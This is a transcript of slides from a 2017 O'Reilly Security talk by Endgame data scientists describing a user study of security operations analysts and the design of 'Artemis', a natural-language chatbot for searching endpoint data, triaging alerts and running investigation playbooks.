filar seymour oreilly_bot_story_
TRANSCRIPT
![Page 1: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/1.jpg)
Security + Design * Data Science: A Bot Story
Bobby Filar & Rich Seymour
O’Reilly Security 2017
October 31, 2017
![Page 2: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/2.jpg)
About Us
• Data Scientist
• Background in NLP
• @filar
• Data Scientist
• Background in HPC
• @rseymour
Bobby Filar Rich Seymour
• Endpoint Protection Platform
• ML/Domain Expertise
• @EndgameInc
• endgame.com
Endgame
![Page 3: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/3.jpg)
State of Security Software
Detect Review Analyze Identify Notify Collect Validate React
Dwell Time Containment Time
Reduce Dwell Time using domain knowledge + ML
![Page 4: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/4.jpg)
State of Security Software
Detect Review Analyze Identify Notify Collect Validate React
Dwell Time Containment Time
Reduce Dwell Time using domain knowledge + ML
• User and Entity Behavior Analytics (UEBA)
• Detection/Prevention
• Network Monitoring
![Page 5: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/5.jpg)
State of Security Software
Detect Review Analyze Identify Notify Collect Validate React
Dwell Time Containment Time
Containment Time depends on real-time data availability and intuitivenessof the user interface
![Page 6: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/6.jpg)
Opportunities to
Expand ML
Solutions
Reducing Containment Time Via ML is
Difficult!
• How do you optimize a human?
• How do you handle a diverse user base?
• Where do you find quality data?
• How can we optimize workflows?
![Page 7: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/7.jpg)
User-Centric Design Study
![Page 8: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/8.jpg)
Design Process
• Discovery• Understanding our users,
confirming/disproving biases, capturing
organizational workflows
• Concepting• Creating design requirements solutions
• Prototyping and User Testing• Feature creation and taking it back into the
‘wild’ for testing
![Page 9: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/9.jpg)
Avoid Our Bias
Find What Users Need
Why Do This?
![Page 10: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/10.jpg)
Objective Capture team dynamics and worker roles within security organization to identify challenges common across security teams
User Group Team Type Environment Collection Method
A Traditional SOC Day-to-day use User interviews
B Novice Training Team Mock Scenario Side-by-side
monitoring,
Retrospective & User
interviews
C Internal Red vs. Blue Mock Scenario Mirrored Scenario as
User Group B
D Traditional SOC & Consulting
group
Day-to-day use User testing
![Page 11: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/11.jpg)
How our customers see it…
Insufficient Resources
• Onboarding & training
new hires & retention
• Limited time to review
alerts and incidents
Lack of easy-to-use
automated tools
• Difficult for non-
programmers to use
• Easy for programmers
to mess up!
Security platforms are just
difficult to use!
• Forces conformity
• Requires level of expertise
to extract value
![Page 12: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/12.jpg)
Let’s meet the users
![Page 13: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/13.jpg)
Tier 1
AnalystTier 3
Analyst
Forensic
Hunter
SOC
Manager
![Page 14: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/14.jpg)
”Pretty much any alert or call here
goes through me first. It can be a
lot to handle."
Tier 1
Analyst
![Page 15: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/15.jpg)
"I’m doing the hard work here,
also I could really use a Tier 2."
Tier 3
Analyst
![Page 16: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/16.jpg)
"Don’t call me unless the server
room is on fire, I’m working on my
new radare2 theme."
Forensic
Hunter
![Page 17: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/17.jpg)
"I have a meeting with the CISO,
then 3 one-on-ones and a report
due, no time for a quote."
SOC
Manager
![Page 18: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/18.jpg)
Findings: Day in Life of a Tier I
Data
Deluge
Lack of
Context
Repetitive
Processes
Searching not
Analyzing
Lack of
Expertise
Lack of
Time
![Page 19: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/19.jpg)
Findings: Pain Points
• Lacks context• Is it actually bad?• Is it anywhere else?• Did it talk to the network?
• Lacks connectivity• Is this alert tied to any others?
• Pivot on single IOC• Hash• Filename• IP address
Alert Type: Suspicious Binary
Alert Created: Feb 11, 2017
Severity: High
Confidence: 73%
File Path: C:\Temp\malware.exe
File Size: 45700
MD5: 5d41402abc4b2a76b9719d911017c592
File Created: Feb 11, 2017
What do you do when there are 100s of these each day?
![Page 20: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/20.jpg)
Diverse Data Sources
Process File Users Network Registry
![Page 21: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/21.jpg)
Solution
Make a Bot!
Hello, how can I help you?
![Page 22: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/22.jpg)
You Can Start Making a Bot Today!
• Emphasize chatOps withHubot, Chattie, etc
• If you can leverage outside APIs!
• Define what you want to automate
• The bot transforms text into functions with arguments
search(process=‘fish’)
garbage input
usable output
scrubscrubscrub
![Page 23: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/23.jpg)
But…
![Page 24: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/24.jpg)
Solution
• An intelligent assistant can assist in the automation of tasks
• Guides user through complex tasks• Mimics human conversation• Natural Language Understanding
determines user intent
• Imagined an assistant that provides ability to:
• Ask questions• Execute workflows• Educate users• Recommend next steps
Hello, how can I help you?
![Page 25: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/25.jpg)
Found the right tools (talk to us after for how)
spaCy
CRFsuite
![Page 26: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/26.jpg)
From Research to Reality
Building an Intelligent Assistant From Scratch
![Page 27: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/27.jpg)
Requirement #1
Eliminate query syntax via natural language
![Page 28: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/28.jpg)
Natural Language vs. Query Language
Query LanguageSELECT * FROM TABLE process_event WHERE process_name == “odinaff.exe”;
![Page 29: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/29.jpg)
Natural Language vs. Query Language
Query LanguageSELECT * FROM TABLE process_event WHERE process_name == “odinaff.exe”;
Natural LanguageSearch process event data for process odinaff.exe
![Page 30: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/30.jpg)
Natural Language vs. Query Language
Query LanguageSELECT * FROM TABLE process_event WHERE process_name == “odinaff.exe”;
Natural LanguageSearch process event data for process odinaff.exe
RealityDid odinaff.exe run on any endpoints?
![Page 31: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/31.jpg)
Interaction Types
Turn-based Conversation
User: Search processes
Artemis: Okay. Please provide a hash or filename
User: odinaff.exe
Artemis: Got it. Which endpoints would you like to target?
User: Windows 10 machines.
Artemis: Okay. Would you like to launch this search?
User: Yes
Artemis: Searching process data for odinaff.exe on
Windows10 endpoints.
![Page 32: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/32.jpg)
Interaction Types
Turn-based Conversation
User: Search processes
Artemis: Okay. Please provide a hash or filename
User: odinaff.exe
Artemis: Got it. Which endpoints would you like to target?
User: Windows 10 machines.
Artemis: Okay. Would you like to launch this search?
User: Yes
Artemis: Searching process data for odinaff.exe on
Windows10 endpoints.
Resolve
Confirm
Handle
![Page 33: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/33.jpg)
Interaction Types
Goal-oriented Conversation
User: Show me process event data for odinaff.exe
on all Windows 10 endpoints
Artemis: Are you sure?
User: Yes!
![Page 34: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/34.jpg)
Interaction Types
API-Driven Investigations
curl 'api/v1/event_search' -H "Content-Type: application/json" -H
'authorization: <api_key> --data-binary '{"intent":"search_process",
"parameters": {
"process_name":"odinaff.exe",
"filepath": "C:\\Temp\\*.exe"
}
}'
![Page 35: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/35.jpg)
Back to the Users!Requirement #2
Provide Context-Driven Alert Triage
![Page 36: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/36.jpg)
•Understand what a user is currently viewing
• Ingest metadata in current view
•Map nested fields to common nomenclature
•Access indicators by saying “this <field>”
ContextSharing
![Page 37: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/37.jpg)
![Page 38: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/38.jpg)
Endpoint data
![Page 39: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/39.jpg)
Endpoint data
Process data
![Page 40: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/40.jpg)
Endpoint data
Process data
User data
![Page 41: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/41.jpg)
“Search process data for this MD5 on all endpoints”
“Was this domain requested on any other endpoint?”
“Has user admin logged into this endpoint?”
![Page 42: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/42.jpg)
Requirement #3
Educate Users on Platform Features
![Page 43: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/43.jpg)
• Assist in feature discovery
• Reduce need to consult docs
• Recommend best practices
• Focus analysts in current view• Avoid copy/paste operations
WhisperText
![Page 44: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/44.jpg)
![Page 45: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/45.jpg)
Did it run anywhere else?
Where else is the file?
Has anyone else seen it in the wild?
Has it sent any data out of my
network?
![Page 46: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/46.jpg)
Requirement #4
Recommend Next Steps
![Page 47: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/47.jpg)
Short-term Memory
• Avoid defeated users
• Disambiguate user input
• Eliminate repetitive tasks
• Guide users through recommended actions using playbooks
search_network
search_network
search_networ
ksearch_proces
s
unknown
search_networ
k
unknown
unknown
“It looks like you’re trying to…”
“Would you like to run that
same query on this data?”
Repetition
Avoid Frustration
![Page 48: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/48.jpg)
Long-Term MemoryCurrent User
Location Action
Alert List Accessed
Malware Alert
Malware Alert Open Artemis???
… …
![Page 49: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/49.jpg)
Long-Term MemoryCurrent User
Location Action
Alert List Accessed
Malware Alert
Malware Alert Open Artemis???
… …
Location Action
Process Inject. Search process
Results view Kill process
Endpoint List Search DNS
Results View Search process
Results View Kill Process
Most Common Actions
Across Organization
Alert List Accessed
Malware Alert
Malware Alert Search Process
Results View Search Network
Results View Grab Memory
![Page 50: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/50.jpg)
Long-Term MemoryCurrent User
Location Action
Alert List Accessed
Malware Alert
Malware Alert Open Artemis???
… …
Location Action
Process Inject. Search process
Results view Kill process
Endpoint List Search DNS
Results View Search process
Results View Kill Process
Most Common Actions
Across Organization
85% Of analysts perform
this sequence
Alert List Accessed
Malware Alert
Malware Alert Search Process
Results View Search Network
Results View Grab Memory
![Page 51: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/51.jpg)
Long-Term MemoryCurrent User
Location Action
Alert List Accessed
Malware Alert
Malware Alert Open Artemis???
… …
Location Action
Process Inject. Search process
Results view Kill process
Endpoint List Search DNS
Results View Search process
Results View Kill Process
Most Common Actions
Across Organization
85% Of analysts perform
this sequence“We recommend the
following actions to triage
this alert”
Alert List Accessed
Malware Alert
Malware Alert Search Process
Results View Search Network
Results View Grab Memory
![Page 52: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/52.jpg)
Requirement #5
Expedite Focused Collection
![Page 53: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/53.jpg)
Structured Workflows & Automation
Domain expertise + Workflow *Automation• Use playbooks
• Endgame provides some built-in• Alert Remediation
• Quick Responses
• Multi-step analysis
• Orgs should be empowered to add their own
Make Security Software Work for You!
![Page 54: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/54.jpg)
PowerShell Misuse Playbook
Traditional Investigation
1.Narrow scope to limited endpoints
2.Understand adversary TTPs
3.Gather events from limited endpoints
4.Analyze events from for signs of TTPs
5.Discover suspicious activity
6.Decode obfuscated commands
7.Pinpoint PowerShell activity
8.Expand scope to next set of endpoints
9.Repeat…
Endgame Artemis
“Find powershell activity”
Automatically discovers and
analyzes malicious activity across
your endpoints in minutes
![Page 55: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/55.jpg)
Back to the Users!
![Page 56: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/56.jpg)
“I want easy access to response actions”
“I want better insight into what my team is working on”
“I want to share new IOCs with my teammates”
“I still want an option for a structured query language”
![Page 57: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/57.jpg)
![Page 58: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/58.jpg)
How our customers NOW see it…
Better Use of Resources
• Helps with onboarding
& training new hires
• Decreases time to
review alerts and
incidents
Automation via NLP
• Easy for non-
programmers to use
• Exposes response
actions via API
Platform that works for you
• Encourages
personalization
• Reduces level of expertise
to extract value
![Page 59: Filar seymour oreilly_bot_story_](https://reader031.vdocuments.mx/reader031/viewer/2022021421/5a65df0e7f8b9a723f8b48b7/html5/thumbnails/59.jpg)
ClosingThoughts
• Data science can be applied to more than just good/bad
• User-centric studies help capture diverse team environments
• Intelligent assistants can help alleviate rigid interfaces